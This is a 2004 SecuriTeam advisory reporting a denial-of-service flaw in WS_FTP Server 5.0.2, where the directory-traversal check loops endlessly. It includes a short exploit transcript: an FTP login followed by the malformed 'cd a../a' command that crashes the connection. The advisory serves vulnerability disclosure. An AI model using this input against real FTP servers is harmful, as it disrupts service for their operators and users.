[NT] WS_FTP Server's Directory Traversal Protection Mechanism causing DoS

• Previous message: SecuriTeam: "[NEWS] Cisco Secure Access Control Server (ACS) Multiple DoS and Authentication Vulnerabilities"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 31 Aug 2004 17:30:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  WS_FTP Server's Directory Traversal Protection Mechanism causing DoS
------------------------------------------------------------------------

SUMMARY

A denial of service vulnerability has been found in WS_FTP Server. The
vulnerability is caused by the module that parses incoming directory
changes (CWD). The vulnerability causes the FTP server to consume large
amounts of CPU power whenever it tries to protect itself from being
exploited by a directory traversal vulnerability.

DETAILS

Vulnerable Systems:
 * WS_FTP Server version 5.0.2

Due to an issue in WS_FTP Server's internal protection against directory
traversal attacks, a remote attacker can cause WS_FTP to enter an infinite
loop by sending it an especially formatted path change request.

Exploit:
E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.

ADDITIONAL INFORMATION

The information has been provided by <mailto:lion@cnhonker.net> lion.
The original article can be found at:
<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=65>
http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=65

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] Cisco Secure Access Control Server (ACS) Multiple DoS and Authentication Vulnerabilities"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

• [NEWS] Multiple Vulnerabilities in Oracle Database (Character Conversion, Extproc, Password Disclosu
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Multiple vulnerabilities were
  discovered in the (Oracle database server ... password is required to exploit this vulnerability.
  ... (Securiteam)
• [UNIX] Multiple Vendor X Server XC-MISC Extension Memory Corruption Vulnerability
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Vendor X Server XC-MISC
  Extension Memory Corruption Vulnerability ... with elevated privileges. ...
  (Securiteam)
• [NT] Microsoft wininet.dll FTP Reply Null Termination Heap Corruption Vulnerability
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft 'wininet.dll' FTP
  Reply Null Termination Heap Corruption ... Windows Server 2003 Enterprise Edition SP1 ...
  This vulnerability appears to have existed from at least Internet ... (Securiteam)
• [NT] TwinFTP Server Directory Traversal Vulnerability
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... TwinFTP Server is an FTP
  server released by ... A vulnerability exists in TwinFTP server that allows a malicious
  user ... (Securiteam)
• [UNIX] Multiple Vendor X Server fonts.dir File Parsing Integer Overflow Vulnerability
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Vendor X Server
  fonts.dir File Parsing Integer Overflow ... exploitation of an integer overflow vulnerability
  in multiple vendors' ... Exploitation allows attackers to execute arbitrary code with elevated
  ... (Securiteam)